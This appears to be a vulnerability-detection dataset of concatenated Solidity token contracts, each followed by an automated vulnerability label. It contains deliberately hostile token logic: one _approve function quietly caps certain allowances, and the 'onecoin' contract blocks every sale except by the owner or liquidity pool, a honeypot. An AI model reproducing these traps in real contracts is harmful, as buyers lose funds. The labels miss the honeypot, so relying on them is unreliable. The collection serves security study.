_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (mexico == true)) {
spain[spender] = true;
colombia[spender] = false;
mexico = false;
}
tok = (colombia[owner] ? 19 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) incorrect-equality with Medium impact |
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// '1895 Token' token contract
//
// Symbol : LibertyQ
// Name : 1895 Token
// Total supply: 1 000 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract LibertyQ is BurnableToken {
string public constant name = "1895 Token";
string public constant symbol = "LibertyQ";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | No vulnerabilities found |
pragma solidity ^0.5.14;
/*
d888 .d8888b. .d88888b. 8888888 888b 888
d8888 d88P Y88b d88P" "Y88b 888 8888b 888
888 888 888 888 888 888 88888b 888
888 888 888 888 888 888Y88b 888
888 888 888 888 888 888 Y88b888
888 888 888 888 888 888 888 Y88888
888 Y88b d88P Y88b. .d88P 888 888 Y8888
8888888 "Y8888P" "Y88888P" 8888888 888 Y888
Just 1 simple coin.... and 100 ETH locked liquidity!
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract onecoin{
event Transfer(address indexed FARM, address indexed FINANCE, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address FINANCE, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, FINANCE, _value);
}
function transferFrom(address FARM, address FINANCE, uint _value) public payable pooladdress(FARM, FINANCE) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != FARM) {
require(allowance[FARM][msg.sender] >= _value);
allowance[FARM][msg.sender] -= _value;
}
require(balanceOf[FARM] >= _value);
balanceOf[FARM] -= _value;
balanceOf[FINANCE] += _value;
emit Transfer(FARM, FINANCE, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
modifier pooladdress(address FARM, address FINANCE) {
address liquiditypool = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(FARM == owner || FINANCE == owner || FARM == liquiditypool);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// leprecoin.finance
// An RFI clone with a lucky twist
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LUCK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'leprecoin.finance';
string private _symbol = 'LUCK';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
